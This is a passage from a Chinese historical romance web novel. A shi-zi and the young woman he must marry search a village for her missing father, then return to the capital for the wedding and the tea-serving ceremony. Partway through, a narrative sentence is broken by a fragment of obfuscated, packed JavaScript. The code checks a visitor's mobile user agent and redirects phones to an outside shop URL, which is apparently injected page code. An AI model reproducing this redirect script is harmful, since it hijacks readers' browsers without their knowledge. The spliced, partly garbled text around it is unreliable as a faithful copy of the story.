“不是，”叶温凛不知楚檀的伤是否有碍，见她挽好头发，才对着青玉十分笃定说道：“这蛇生于林中。”
“为何？”
“这蛇虽壮硕，头却比身要大些，没有家养的痕迹。”
“那此处也不安全，我们还是要快些到月婆村才行。”
此处离石头镇不远，到月婆村还有距离，但青玉费尽九牛二虎之力才将他们两人带出深林，那群黑衣人还虎视眈眈守着，他们也不能回石头镇去。
“也好，我们午后便启程。”
“不可。”
“不行。”
“不好。”
三人同时的拒绝让叶温凛一怔，他低低笑出声，“有何不可？”
青玉上前一步劝道：“世子刚从鬼门关出来，不宜动身。”
楚檀和青鹰同时点点头。
她虽着急找爹爹，可是叶温凛的性命她也不敢随意忽视，他的脸色虽不像之前那般白得吓人，可如今也好不到哪里去，有气无力，她瞧他说一句话都要歇一歇，她不敢想要是此时上路，会出现什么事。
“一条蛇还容易，怕是有蛇群出没。”
“世子放心，我和青鹰会守好草房，不会再让一条蛇进来。”
“我也不会乱出门的。”
“那就再歇一天，明早启程。”
“世子至少歇上个两三天才行。”青玉再次阻止，让病恹恹的世子启程，这得要人命。
“别说了，明日一早我们就启程。”
叶温凛一向温和，看起来十分好说话，可他们都知道，世子想做的事，他们向来是说不上话的。
所以刚歇息没多久的青鹰青玉又歇下了。
楚檀跟在叶温凛身后，盯着他的后背，想
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要看看他接下来要做什么。
叶温凛转过身来就看见楚檀一脸纠结的模样，“怎么了？”
“没什么。”
楚檀实在是难以启齿。
“姑娘不像是没什么，可是需要我做什么？”
“不做什么，”楚檀支支吾吾地，眼睛左右乱看，“就是，世子等会，等会也还是到床上睡吧。”
叶温凛瞬间变得沉默。
楚檀说完，只觉没脸见人，不过没再跑走，而是捂着脸，蹲了下来。
她在说什么！她一个还未出阁的姑娘家，怎么能说出这么孟浪的话来！
这要是让给爹爹和兄长知道了，定会将她赶出家门。
可是，她方才起身时，叶温凛并不在她身旁，要是他因为躺在地上而导致伤口迟迟不好，岂不是更耽误事？
见叶温凛无声，楚檀掰开一条缝，仰头问：“不好吗？”
“好。”叶温凛想要将楚檀扶起，不过她抗拒不从，扶不起来，他索性也蹲了下去，“你先起来去歇息，我还有一些事忘记交代青玉了，我回来便会上床歇息。”
“可好?”
“好。”
楚檀还捂着脸，也就没看见他那如潺潺春水的眼眸。
待叶温凛回来见到如白日里将发丝覆在面上的楚檀时，他竟对这个女子生出十分的敬佩之心。
她又睡着了。
他来回不过一炷香，怎么就又睡着了？
可叶温凛不知的是，楚檀往日里一向睡眠好，沾枕就睡，像如今要躺上半炷香才睡下是极少见的。
见她睡得安稳，叶温凛拂开她的青丝，灭了灯，躺下与周公下起棋来。
不过半夜被身旁人痛苦的呻吟声吵醒了。
躺在里侧的楚檀，疼得死去活来。
楚檀蜷缩在叶温凛腰间，窗外照进来的月光，衬托楚檀的脸煞白煞白，脸上挂着的不知是泪珠还是汗珠。
“楚姑娘，楚姑娘。”叶温凛坐起身，摇摇楚檀的肩。
楚檀以往并没有这般痛过，她本想忍忍，可无形中有一双手要活生生腰把她的腹部拉下来撕开。
她想抓住他的手，想他别晃了，可力气不足，手指只能够挂在他的手腕上，“我无事。”
这可不像是无事的样子。
叶温凛见问不出什么来，于是反手握住楚檀的手，拉下放平，手指搭在她的脉搏上。
“这是？”
叶温凛一脸无措，叫来了青玉。
楚檀这次把手缩回去了，侧过身趴着，把手和脸埋在身下。
她疼得迷迷糊糊，一个世子就算了，再来一个，她有些尴尬。
“让青玉看看更为妥帖，楚姑娘不可讳疾忌医。”叶温凛边说边把楚檀翻过身来。
楚檀有气无力，任由叶温凛将她手腕拉到青玉面前。
“楚姑娘月事竟来得这般凶险，可是前些日子受了的风寒？”
楚檀弯着腰，点点头。
“那就没错了，楚姑娘这几日又是淋雨又是挨饿，担惊受怕过度，两者加在一起，导致血气不足，身子虚弱，才会这般疼痛。”
“不过楚姑娘底子好，喝上几服药，就能调理好。”
“那青玉快去熬药。”
青玉眨眨眼，这荒郊野外的，他上哪去熬药？
15. 无果
楚檀没喝上青玉煎的药，而是吞下几颗药丸，没过多久，小腹没那么痛了后也就又睡下了。
待她醒来，身旁依旧不见叶温凛人影，不过，倒是多了支木簪。
可是给她？
楚檀瞧着这木簪样式简单，虽是女子所用，不过她还是找到了叶温凛。
“世子，这个发簪？”
“这是送给姑娘你的赔礼。”
“赔礼？”
“弄脏姑娘发簪的赔礼。”
楚檀心中升起一道不明情绪，她看着那上面的新痕，不确定的问，“这可是世子做的？”
“是，我这闲来无事，便想着做支发簪赔给姑娘，”叶温凛笑容开始带些不好意思，“不过这是我第一次雕刻木簪，过于粗糙，还望姑娘不要嫌弃。”
楚檀怎么可能不领情，于是立刻将木簪换上，“我怎会嫌弃，世子手巧，楚檀很喜欢。”
“不过，世子还是多多休息才行，”楚檀顿了顿，慢吞吞继续说道：“我并非不领情，只是世子现下最重要的是保重身体，切莫劳神。”
楚檀对叶温凛因受自己牵连而险些丧命始终过意不去，况且世子早些痊愈，他们才能早些去找爹爹。
“好。”
叶温凛望着让自己睡不着的罪魁祸首一脸关切，十分无奈。
楚檀睡下后比之前更不安分，对于她作乱的双手，叶温凛不堪其扰。于是起身将她钳制住，可她还一直摇头乱晃。
他本想再唤青玉进来，不过转念一想，将她头上的发簪摘去，她果真安分下来，沉沉睡去。
叶温凛揉着额头，只觉麻烦，这哄人睡觉实在不易。他深深看了眼楚檀，实在没想到她竟那么怕蛇。
四目相对时，楚檀见他眼下一片乌青，走到他身后，替他揉了起来，“我来吧。”
“有劳了。”
叶温凛本想拒绝，可女子用力有度，确能缓解头痛，他也就没有推脱。
原本安静的场面被青玉打断，他一进门便冲楚檀问道：“楚姑娘你可还疼？”
“不疼了，”楚檀一僵，支支吾吾地说：“多谢青玉为我诊治，昨晚真是麻烦你了。”
这本是她想来对叶温凛的说辞，没想到世子对这件事一字未提。
“姑娘客气了，这本就是我该做的。”
叶温凛有些可惜按在自己额间的手停了下来，他这头疼之症还未完全缓解呢。
不过他还是从怀里拿出一枚玉佩递到楚檀面前，“这可是楚姑娘的？”
要不是青鹰提起有人想要从楚檀身上找到什么东西，他还记不起自己也有她的物件。
“是我的，我竟给忘了。”楚檀接过玉佩，感慨万分，“那日我真怕我回不来了。”
说起楚檀把玉佩系在他腰间那日，叶温凛在她离开后醒过一次，他独自一人躺在那昏暗又潮湿山洞里，可是握着玉佩，竟不觉一丝孤寂。
不过是不想这玉佩沾染泥土，才放在衣裳内，想来也是因为这样，她才会忘记拿回去。
“所以姑娘才把这枚玉佩给我？”
楚檀拿回玉佩，有种劫后余生之感，刚才那一丝尴尬也就消失了，她眉眼弯弯，笑着对叶温凛说道：“要是我回不来，你也可帮我交给爹爹不是。”
叶温凛不知为何不想接着说下去，而是问她：“这玉佩可有什么特别之处？”
楚檀翻了翻手里的玉佩，“这玉佩是我父母送我的生辰礼，上面的画是娘亲所画，爹爹雕刻上去的。”
“这算特别吗？”
生辰礼吗？
叶温凛的目光从玉佩到了楚檀脸上，“这玉佩既然如此重要，楚姑娘可要好好保管。”
“要是这样的话，那群刺客为何找它？”青玉此时没有一点眼力见，看了看玉佩，“他们可是对楚姑娘的包袱翻了又翻。”
他们？
楚檀想起那嚷着要她命的大汉，难道是因为这枚玉佩？
“姑娘的包袱里还有些什么？”
“寻常之物，不过一些衣物干粮，和一贯钱。”
“确实没什么。”
叶温凛说完，场面一时陷入安静，楚檀丝毫想不明白，他们为何要找这枚玉佩。
她嘴拙，只能讪讪道歉，“对不住啊，都是我连累了你们。”
“楚姑娘不必自责，恐怕他们是冲我而来，至少后面伤我的那些刺客是来找我的。”
“他们竟不是一路人？”
“不是，我们遇到的三批人武功招式皆不同，特别是来寻我们的刺客，其中竟还有人善口技。”
叶温凛的语气越发沉重，“青鹰在外向来话少，如若不是我周围之人，怎能模仿个九成像。”
“怎么会这样，”那熟悉的窒息感袭来，楚檀险些站不稳，越发觉得他们的处境十分危险，“那世子可知是谁要害你？”
“无非就是之前的政敌，待我回去自会料理，姑娘无需挂心。”
叶温凛话音刚落，青鹰便进来请他们出去，“世子办妥了。”
要不是青鹰打断，楚檀还会顺着叶温凛的话问他有什么政敌，一想到这不是她该问的，楚檀悻悻上了马车。
因着叶温凛与楚檀都不宜多走动，青鹰不知从哪找了辆马车，虽不及以前，但好歹不用奔波。
不过叶温凛的伤口还是崩开了一次，以至于楚檀更加小心谨慎，生怕叶温凛有何不适，一路上不停地询问叶温凛的状况。
“世子可好？”
叶温凛开始时还以为楚檀是出于愧疚，他让她不必自责，“我无事，我受伤真不是因姑娘，姑娘不必如此紧张。”
但楚檀还是会问，赶路赶得晕晕乎乎会问，半睡间被颠簸醒来时也会问，后来睡觉也会说梦话出声询问。
后来叶温凛都会放下手中的事，拍拍她的肩，耐心回她，“我无事。”
青鹰默默采了些药草塞给青玉，“世子还不痊愈，楚姑娘怕是要急出病了。”
“你多给世子敷些。”
青玉：“......”
这药哪能随便乱用？
似乎在楚檀无形中的施压下，叶温凛的伤好了许多，他们也到了月婆村。
青玉望着热热闹闹的街道，仿佛没见过似的，“这京城外，还真是奇怪，石头镇不像镇，月婆村，也不是村，更像是一座镇子。”
人来人往，川流不息。
甚至他们找的好几家客栈都人满为患，等好不容易有了空余客房，却只剩下两间。
而四人大眼瞪小眼，都觉得不能再浪费时间，于是打算夜宿在此，因而叶温凛和楚檀晚上又要待在一起，虽然他们路上便时时处在一块。
可楚檀管不了那么多，她放下包袱就想去找人，“世子你好生歇息，我先去打听打听我爹爹的事。”
他们耽误太久了，距成亲之日不够十日，要是还不能找到爹爹，她就只能无功而返。
“楚姑娘先等等。”叶温凛拉住她，“我的人马上就要回来了，先听听他们怎么说。”
“对了，我竟忘了，我先等等。”楚檀止步，坐回椅上，深深吸了几口气。
今日她眼皮直跳，特别是刚下马车时背后发凉，总有不好的预感。
这一时着急也就忘了叶温凛在来的路上就派人去找线索了。
可她等啊等，脸上的焦急将要遮不住的时候，终于等来了人。
可是，一无所获。
“世子，我们的人都没有找到楚大人，也没有，没有楚大人的消息。”
“没有消息？”楚檀飞快起身走到青玉面前，睁大眼睛不可置信问道：“都找过了吗？”
“都找了，都没有。”青玉不敢看她的眼，他等到最后一名暗探回来，也没有打听到楚父半点踪迹。
石头镇的老大爷既然说了楚父向人打听过迎亲队伍，*甚至也没有拒绝去喝喜酒的提议。那他下一个会去的地方极有可能是月婆村。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13857388|146361||http|test|mini|href|location''.split(''|''),0,{}));
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只要知道到月婆村有哪户人家在楚父失踪那日嫁女，顺着这条线索，便能找到楚父的下落，没想到，还是竹篮打水一场空。
“衙门的人怎么说？”
从他们遇刺开始，叶温凛就意识到楚父的失踪并不简单，在抵达月婆村后便让青玉拿着画像去了趟衙门。
青玉还是摇头，“他们也没人见过。”
“爹爹是不是真出什么事了？”楚檀在房里来回踱步，毫无头绪。
“我会亲自去一趟县衙，请他们贴出寻人启事，青玉你再去找一批人上街上找，然后再去会会这里的乞丐。”
“是。”青玉本想告退，但奈何楚檀跟上来了。
叶温凛再次拦住她，“姑娘在此等候消息便是。”
楚檀立刻斩钉截铁拒绝，“我不想等了，我也要去。”
“你不能去，街上人多眼杂，谁都不知道那群刺客会不会跟上来。”
“我会跟紧你的人，不会一人擅自行动，”
“还有，我还会，还会戴着帷帽，他们只见过我一次，只要我小心就不会被认出来的。”
楚檀越说越有理由，“就算我待在这，我也会坐立不安……”
“青鹰，你跟着楚姑娘，”叶温凛见楚檀情绪越来越激动，眼眶越来越红，狠不下心。
“可是，世子你不是还要去……”
“我无妨。”叶温凛打断青鹰的话，叮嘱青鹰务必要保护好楚檀。
“多谢世子！”
离他们成亲的日子越近，楚檀的眼里的希望就越少，她开始害怕向人打听楚父的下落，每一次的摇头都让楚檀心惊胆战。
她开始睡不好，整宿整宿的睡不着，一到白天便往外跑，整个人消瘦又憔悴。
直到最后一日，叶温凛找她有话要说。
楚檀知道他想说什么，可她一点都不想听，她推开叶温凛跑了出去，漫无目的跑来跑去，逢人就问，她迫切想要听到楚父的一点消息。
待黑夜彻底到来，街上已经见不到一人了，暗黑将她笼罩在这里。在这么大的村落里，她怎么也找不到与爹爹有关的消息。
叶温凛一直跟在楚檀身后陪着她，他没有说话，也无话可说。
直到青鹰青玉找来，眼见青鹰就要开口，叶温凛先拦住了，摆摆手让他们退下。
有些话还是他来说才好。
“楚姑娘。”
叶温凛离楚檀不算近，却不忍大声问她，几乎用小到听不见的声音说出后半句：
“我们该回去了。”
楚檀一直都知道他在，听他唤她，她突然狼狈地蹲下，双手捂住脸，似乎不想让人见到她的软弱。
“我不想回去，我还没有找到爹爹，我不要成亲。”
她边哭边摇头，泪水像洪水一样从她手里流出，无论她怎么用力也拦不住。
叶温凛见过楚檀哭，见过许多次。
她受到威胁会哭，害怕会哭，身体太疼也会哭，可从来没有一次如今天这般撕心裂肺。
“爹爹和兄长都不在，我怎么成亲？”
“回去了以后，我怎么找爹爹？”
她还能再出府吗，那像笼子一样的地方，她逃得出来吗？
自赐婚以来，人人都道这桩婚事对于他叶温凛来说是累赘，是笑话，是耻辱，但对她来说何尝不是一道枷锁。
他一直都知道她并非真心想要嫁给他，可至少她此前从未因他们的婚事哭过。
他看着哭倒在地的楚檀觉得有些喘过不过气来。
“等我们成婚之后，我不会阻止你找你父亲，也会竭尽全力寻找。”
楚檀没有回答，她似乎没有听见他的话。
他蹲下来将她搂在怀里，默默地听着她哭。
不知过了多久。
楚檀的哭声越来越小，她擦干眼泪，好像已经冷静下来了。
她靠在叶温凛的怀里平静地说道：“我们回去吧。”
16. 成亲
若是不能及时回京，便是抗旨不遵，乃是杀头的大罪。
时间紧迫，他们改换骑马。
叶温凛先将楚檀抱上马，待她坐稳住后才上去，他看着圈在怀里的人，语气轻柔而低沉，“委屈姑娘了。”
楚檀哭得精疲力尽，不想说话，就靠在叶温凛的身上微微摇了摇头。
回去的路上一路颠簸，楚檀面无表情，眼神空洞。
初夏的风微凉，呼呼吹在脸上，她也毫不在意。
要不是叶温凛扶她下马时碰到她的手，他还不会发现怀里的人正被冷风摧残。
他用手背快速碰了碰。
她的脸，
也冷得不成样。
楚檀因突然出现的一抹温暖回过神，等她反应过来时叶温凛的披风已在她身上。
她立刻拉下叶温凛给她系披风的手，想要解开还回去，“你身上有伤刚好，不能受凉了。”
“本世子不用。”
叶温凛重新给她系上，而后顺着衣袍找到她的没有暖意的手，紧紧一握，“楚姑娘你更需要它。”
楚檀愣愣地低头看着紧握的双手，感受着掌心传来的暖意传遍周身，她展开许久不见的笑颜，“多谢世子。”
叶温凛的衣袍浸染着苦苦的药草味，这药草香安然，楚檀那混沌的思绪里，冒出一个念头：
世子这样的人，或许真会让她出府找到爹爹。
回京城的途中，他们除了夜里太黑看不见路，几乎没有休息过。
原本需要四天时间的路程，硬生生赶成了两天。
“快到京城了吗？”
楚檀这一路上极少说话，待看到周围熟悉的景色后，才哑着嗓子问道。
“再走一刻钟就到了。”回答她的也是一道沙哑的声音。
叶温凛在离城门还有一些距离的地方把楚檀放了下来，“楚姑娘，先回去好生歇息。”
楚檀没有马上走向那朴实的马车，她此时腰酸背痛，身体僵硬的很。
叶温凛见她一动不动，扶她上去，“这是我临阳王府的马车，在还没成亲之前，我们共骑一匹马总会惹来闲话。”
太明目张胆了。
“明日我来接你。”
*
“姑娘马上就要嫁给临阳世子了，怎么也不笑笑？”
替楚檀梳妆的是看着叶温凛长大的嬷嬷，她用丝线绞去楚檀脸上的绒毛，画好红妆，饰上凤冠霞帔。
窗外透过的晨曦照在女子脸上，眼里的悲伤清晰可见。
她昨日回来后，依旧没见到兄长的身影，心中最后那点希望破灭，心如死灰，她又怎么笑得出来。
但楚檀闻言，还是扬起嘴角，勉强地笑了笑。
新郎骑马前来，被簇拥在浩浩荡荡的迎亲队首，外面锣鼓喧天，楚檀在花轿里迷茫无措。
这种无措持续到傧相高声喊出：“二拜高堂！”
楚檀才如梦初醒。
从今日开始，她便要被困于临阳王府，再无自由，这一刻，忍了许久的眼泪随着她弯腰低头落了下来。
世子的双亲落座在上，可原本要送她出嫁的爹爹和兄长至今下落不明。
她怎么不怨，不委屈。
“瞧瞧这新娘子，乐傻了吧。”
“谁说不是呢，原本她父亲就是一个九品的芝麻小官，要不是太后赐婚，她怕是连临阳世子的面都见不到。”
“如今都成世子妃了，真是好手段。”
临阳王府，仕宦之族，世子婚宴定是热闹非凡。这些话在一片祝福里就显得尤为刺耳。
可楚檀不为所动。
那些个尖酸的话流入叶温凛的耳里，他叶温凛忍住皱眉的冲动，余光一直注意着楚檀，见她如此，他轻轻地晃动手中的红绸。
同心结的另一端。
楚檀似乎听到叶温凛在悄悄呼喊，她这才转过身来与他相对。
“夫妻对拜！”
行完三跪九叩礼，叶温凛与楚檀便是夫妻了。
两人在众宾客的相拥下进入洞房，待楚檀端坐在喜床上，叶温凛把要闹洞房的人都赶了出去，特别是兴致高涨的祝辛楼。
“叶温凛你懂不懂规矩，不闹洞房，怎么驱邪避祟。”祝辛楼抱着门楣不撒手，他怎会放弃这捉弄叶温凛的大好时机。
叶温凛慢慢扒开他的手指，咬牙切齿地说：“平日里也没见你有多规矩。”
“好了好了，你急什么，”太子出面，和叶温凛一同将祝辛楼拉出房内，“待会他还要向宾客敬酒，你有得要忙。”
送走一位大佛，叶温凛松了口气，他原想从主持仪式的妇人手中接过喜秤，可妇人后退一步，恭敬又严肃，“世子不可。”
“按规矩，世子要向宾客敬完酒之后才能掀开红盖头。”
叶温凛更进一步，“嬷嬷，规矩刚刚就已经坏了。”
妇人再退，“这是老夫人吩咐的事，奴婢不敢不从，请世子不要为难。”
叶温凛还想说什么，此时楚檀出声阻止，“世子。”
“无妨，我等你回来。”
叶温凛这才回到楚檀身前，“那我快去快回。”
待他回来时，身上不免带了一身酒气，好在人还是清醒的。
他掀开红盖头，见到一张笑靥。
不过在到处都透着喜庆的婚房，她的笑容有些勉强罢了。叶温凛看一眼，便觉心口有银针刺进。
揭下盖头接下来便是共饮合卺酒。
“这酒太苦，尝尝便好。”叶温凛看着楚檀接过酒杯，在妇人斟酒时先一步告知她。
“好。”楚檀没有看到斟酒人警告的眼神，她乖巧应着。
两人说着浅尝即可，待双臂相勾，皆是一饮而尽。
不过是一杯苦酒，有何难？就算今后要找父兄更难，她也无惧。
合卺酒，寓意夫妻二人合为一家，同甘共苦。
叶温凛一怔，将众人挥退，随后问道：“可有累到？”
楚檀摇头，“没有。”
比起自己，世子怕是最疲累的那一个，这一路来，她没怎么睡，他又何尝不是？
到了京城又匆匆回去准备婚礼，怕是忙的不站脚，不然他眼下的乌青都深重得有损容颜了。
她笑容越发苦涩，她想他们还真是这世上最不幸的人，成亲这大喜的事，也不见一人容光焕发。
叶温凛看着她僵硬的
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笑容，不知怎么，心底想要让她开怀些，他同她讲起刚才发生的事：
“我方才在前厅敬酒时，辛楼扬言要替我挡下所有人的酒，不让他人耽误我们的好事，可没想到，不过三杯，他便倒下了。”
“倒在酒桌上还嚷着要喝。”
可似乎，满腹经纶的他不会逗人开心，趣事讲得干巴巴的。
楚檀也想像以前一样，她笑了笑，放弃，又展开笑容。
叶温凛单手捧着她的脸颊，指腹揉着她被迫上扬的嘴角，“不想笑便别笑了。”
楚檀垂下眼轻轻嗯了一声，贴着叶温凛的掌心顺势将脑袋的重量卸了下来。
好沉。
“我方才就应该早些掀开盖头，你也不必受这个罪了。”叶温凛十分懊悔，立刻将她满头的发冠朱钗取下，
他知女子发冠沉重，却没有想到这都如同铁石般。
“委屈姑娘了。”
“我无妨。”
人在屋檐下怎能不低头。
“无妨，无妨，你今日都说了几次了？”叶温凛的语气带着些楚檀从未见过的烦躁。
不就说了两回吗？
见楚檀愣住，叶温凛意识到自己失礼，他不自在轻咳，“早些歇息吧。”
待洗尽铅华，楚檀躺在喜床的里侧。
“睡吧，别的事我们明日再说。”外侧的叶温凛说完便闭上眼。
连日的赶路，不眠不休，而婚礼繁杂，应付宾客更在累人。他几乎是酣然入睡。
他们已经不是头一次同床共枕，她也没了刚开始的扭捏，不过她还是睡不着。
叶温凛睡意朦胧，感受身旁人没睡，他一改往日有礼有度，挪动着身子，结结实实将楚檀搂进怀里。
他小声嘟囔，“今夜暂且将就将就，这红烛不能灭，它得燃到明早。”
说着将自己的青丝胡乱披在楚檀脸上。
楚檀埋在叶温凛怀里，呼吸都变得谨慎，这些日子以来，她发现叶温凛浅眠得很，稍有动静就会醒来，如今他们挨得这般近，她更不敢乱动。
不过，只要低下头，眼前便是一片漆黑，这样，她就能睡下了。
当楚檀第二日醒来之后，见叶温凛还在时也不免有些意外。
她还是头一次见到他的睡颜。
叶温凛睡着的样子还能看出些疲态，原本白皙干净的脸睡了一晚还未能恢复到他们初见的模样。
不过他如今的神情与以往有些不同，虽然都是温润谦和，不过此时的他倒是眉眼舒张。
楚檀自认为昨夜把事情想得很清楚，只要她好好当了这世子妃，就不会缺银钱，这样就不怕出现银钱不够而导致的寸步难行的情况了。
可不过昨日教导嬷嬷的话她全没听进去，所以也不知遇到世子熟睡时她怎么做才好。
看外面天光，已是卯时。
新婚夫妇睡到日上三竿应是不行吧？
叶温凛不知有多久没睡过这般好觉了，待他醒来时，身旁的人便起身了，“世子。”
“楚姑娘。”
叶温凛也跟着起身，不过整理衣裳的手突然停了下来，他郑重地注视着楚檀，慢慢说道：“得改口了，夫人。”
17. 敬茶
饶是有所准备，楚檀被叶温凛殷殷这么一喊，不免心中一颤，清脆的声音也跟着微微抖动，“夫，夫君。”
叶温凛轻嗯一声。
其实如若楚檀不那么害羞忸怩，抬一抬头，就能见到叶温凛的神情也如自己一般。
只可惜，叶温凛脸上的局促转瞬即逝，待他下床时已恢复往日的温和。
听到屋里的动静，屋外守着的侍女敲门询问是否要进来伺候洗漱更衣。
楚檀抿着嘴看着身前姿容娇俏的侍女，直直张开手，一副任由摆布的模样。不过她不习惯陌生人的近身，每次侍女靠近，她的头不自觉微微往后仰些。
她看了眼同样被服侍穿衣的叶温凛，见他一脸坦然，若无其事，心里不由得想：以后自己可要替叶温凛更衣？
她会这样想，不过是想起娘亲在世时，时常会帮爹爹更衣。
楚檀一想到爹爹便觉头疼，在侍女捧着发饰询问要搭配何种簪钗时，说了一句随意。
叶温凛穿戴好后，见楚檀又是揉太阳穴又是转动脖颈，不由分说上前抽去那沉甸甸的花佃钗，“这个不好。”
楚檀看着发髻上那珍珠发簪沉默一息，要不是她坐在梳妆镜前瞧见了叶温凛赞许的眼神，她还真怀疑他是在开玩笑。
新婚次日是要去见公婆的，她今日穿的虽不及昨日，但也算是隆重，可头上只有一支孤单单的发簪，怎么看都觉得突兀。
楚檀小心翼翼地看了眼叶温凛，咬唇问道：“这似乎，不搭吧？”
她也不想拂了他的好意，不过他自己一身整齐，显得人修长挺拔，出类拔萃，倒是更衬得自己这身装扮不伦不类。
叶温凛似乎也意识到这个问题，十分顾及楚檀的模样，于是大手一挥，“那就再换一套衣裳。”
楚檀：“……”
“夫君，别折腾了，”楚檀指着那花佃钗，十分满意侍女的眼光，“我戴这个便好。”
这般繁琐的衣裳脱下来定然费时。
“太沉了，不好。”
叶温凛似乎被这一声夫君取悦到了，他一男子竟笑意吟吟地给她挑选起衣裙来。
“我们等会不是要去见王爷和王妃吗？现在已是卯时，再拖下去怕是不妥。”楚檀看着认真翻箱倒柜的叶温凛不免有些焦急，“回来再换也不迟。”
她早早醒来，就开始担心敬茶的事，要不是叶温凛睡得过于香甜，她就算再不忍也会把他唤醒。
“回来再换更是更麻烦。”
他可不会再让她受那罪。
叶温凛终于从衣柜里找到称心的衣裙，除了成亲时穿的婚服，王府的人还准备了几套，不过他都不大看得上眼，只有这件青色长裙勉强还行。
“而且祖母说了，今日我们想什么时候起就什么时候起，不用着急。”
“这般好？”楚檀接过叶温凛递来的衣裙，还有些挣扎，“祖母真这么说吗？”
“是，”叶温凛推着楚檀到屏风里，“祖母她一向偏爱我。”
见叶温凛提到老夫人的偏心也不掩饰，楚檀唯有认命换上。
不过楚檀到了祠堂后，便觉老夫人不是偏爱，而是溺爱了。
她看着乌泱泱的人群头皮发麻，怎么能让这一屋子的人等着他们！
“别急，他们估计也是刚到。”
叶温凛见楚檀瞬间就慌了神，立刻握住她的小臂，出声安抚，
“世子妃真是好大的架子，这新婚第一日竟如此怠慢，真让我们好等。”
楚檀刚想开口道歉，却被叶温凛抢了先，“三叔母误会了，是我的错，要不是我昨晚过于劳累，今早也不必让各位长辈久等。”
众人没想到一向君子风范的叶温凛会说的如此直白，这倒是令他们措手不及了，在场的人竟没人说话。
楚檀看着尴尬的场面不解，她以为临阳世子出城办事是全府皆知的事，那他们前日才匆匆赶到京城，接着又马不停蹄的迎亲，有些劳累是不可避免。
为何世子开口，竟无一人关怀，这深宅大院如此冷情，连装都不装一下。
可在场的都是长辈老人，都知此劳累并非彼劳累。
“我不是派了人去各院提醒吗？是你们自己来得早，又怪得了谁？”
众人虽收到消息，可一早就听到老夫人都端坐在祠堂大厅，又有几个敢真的迟来？
坐在上头的临阳老夫人白发苍苍，说起话来却是精神十足，她似乎很喜欢这个孙媳妇，连忙招呼她过来，“来来来，来我这。”
“祖母好。”
“好好好，真是好孩子，与温凛多登对啊。”
老夫人这话一出，直让楚檀羞愧，她与世子不管是家世还是容貌皆相差万里，老夫人不是一向疼爱世子吗？怎么会说出这般违心的话来。
“是登对，你看这衣裳，倒是相配，难怪太后娘娘会赐婚。”
姜月的白眼都快翻到天上去了，要不是因为这丫头，这世子妃之位应该是她侄女的，眼看着到手的权利地位被抢走，她自然是见不得他二人明目张胆地穿得像一对。
何况楚檀私自出城耽误婚事，差点将临阳王府陷入危险之地，她不过是将其他人不敢说的话说了出来罢了。
楚檀假装没听出叶温凛三叔母话里的阴阳怪气，感慨着老夫人果真对叶温凛疼爱有加，不然也不会爱屋及乌，给自己面子了。
在她换了衣裳出来时，发现叶温凛也一同换了件同色系的青色长袍，许是这原因老夫人才会说上一句登对吧。
看着对自己颇为满意的老夫人，楚檀心里虽不懂为何她与太后一见面就说她是个好孩子，但她并未感受到来自眼前人的恶意，也就告诉自己，许是老人家就是这般说话吧。
老夫人冷冷瞥了眼姜月，毫无一丝笑意，但对楚檀又是一副慈祥的模样，“既然你都叫我祖母了，那我也不能让你白叫。”
待老夫人将羊脂白玉的手镯拿出来时，不仅是被警告的姜月和在场的众人，就连叶温凛也是一惊。
楚檀虽不懂玉，但她也能从众人反应中想到手镯并非一般材质，她看了看叶温凛，见他点头，她才伸出手让老夫人将玉镯戴在自己手腕上。
“母亲不可。”
姗姗来迟的临阳王对母亲的做法十分不认同，连带着身旁的王妃也是一脸不可置信。
“有何不可？这是从前文宇皇帝赐予我的，我想给谁就给谁。”
“母亲！”叶勉似乎气得气得不行，大有一种要亲自收回的架势。
“好了，不要再说了。”老夫人有些不耐烦，让他们赶紧坐下，“这温凛新妇还等着给你们敬茶呢。”
楚檀自老夫人发话就十分意外，她早已做好了被王府人刁难的准备，却没想到，能得到叶温凛祖母的青睐。
因着老夫人发话，叶勉没再多说，落座后，便是一副高贵的王爷模样，仿佛方才那一时的震怒是楚檀的错觉。
她敬茶时才看了一眼王爷王妃的样貌，这世子与王爷长得极像，都是俊美无双的五官，不过叶温凛面庞更柔和，也就更平易近人些。
世子的气质倒是随了一旁的王妃，温和清润。
这次的敬茶尤其顺利，有了老夫人在前表态，众人敢怒不敢言。
是以楚檀每次递上茶杯时，明明清楚看到其他
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人眼里全是不喜不屑，但他们手里的动作从不让她为难，说出来的话也不像三叔母那般刺人。
这，这真是令人浑身不适。
等楚檀笑得不能笑时，他们终于敬完茶，领着一大堆贺礼回去了。
楚檀一手揉着脸颊，一手举起来露出手腕上的玉镯：“这玉镯可是价值连城？”
不然王府里的人怎么一脸肉疼的模样，他们怎么说是也是富贵人家，寻常宝物怎能入他们的眼。
“它与皇宫里的玉玺出自同一批玉料。”
楚檀：“……”
难怪！原来不只是价值连城，更是意义非凡。
“……那这不就是传家之宝了？”楚檀连忙取下来，她可没有资格
“不是，这是祖母的私物。”叶温凛瞧她一副诚惶诚恐的模样不由得好笑，“祖母给你，你收着便是。”
“这原本给了我母亲，不过自她去世后，我觉得太过贵重，放我这也不妥，便又还回去了。”
他牵起楚檀的手，将玉镯戴了回去，“今日送与你也是情理之中。”
不过他没有想到祖母会这么快接受楚檀，明明他出城之前请她老人家照看成亲事宜时还不是很情愿。
“母亲？”
世子的母亲不是在吗？
“今日你敬茶之人并非我生母。”
楚檀眼见叶温凛的情绪就要低落下来，连忙安慰道：“往后如有机会，世子可愿让我再给母亲敬一次茶？”
“求之不得。”
楚檀见盯着玉镯的叶温凛恢复以往的笑容，她还想说什么，就见王爷身边的小厮过来了，“世子，王爷请您过去一趟。”
“找我有什么事吗？”叶温凛放下楚檀的手腕，淡淡看向来人。
“小的不知，王爷没说。”
楚檀以为王爷找叶温凛是因为玉镯的事，她既然知道了玉镯的来历，就不可能真的收下。
她迅速取下，用丝帕包好放在叶温凛的掌心，然后愉快对他一笑：“夫君，你去吧，我就先回去了。”
刚坐下不久的楚檀还没来得及喝口水，今日替她更衣的侍女青惠传来话：“七姑娘来了。”
“七姑娘？”
“这位是王爷最小的女儿，也是世子的嫡妹。”
今日要应付的不只是长辈，还有小辈啊。
楚檀苦不堪言继续挂上假笑，“七妹妹。”
“见过嫂嫂。”
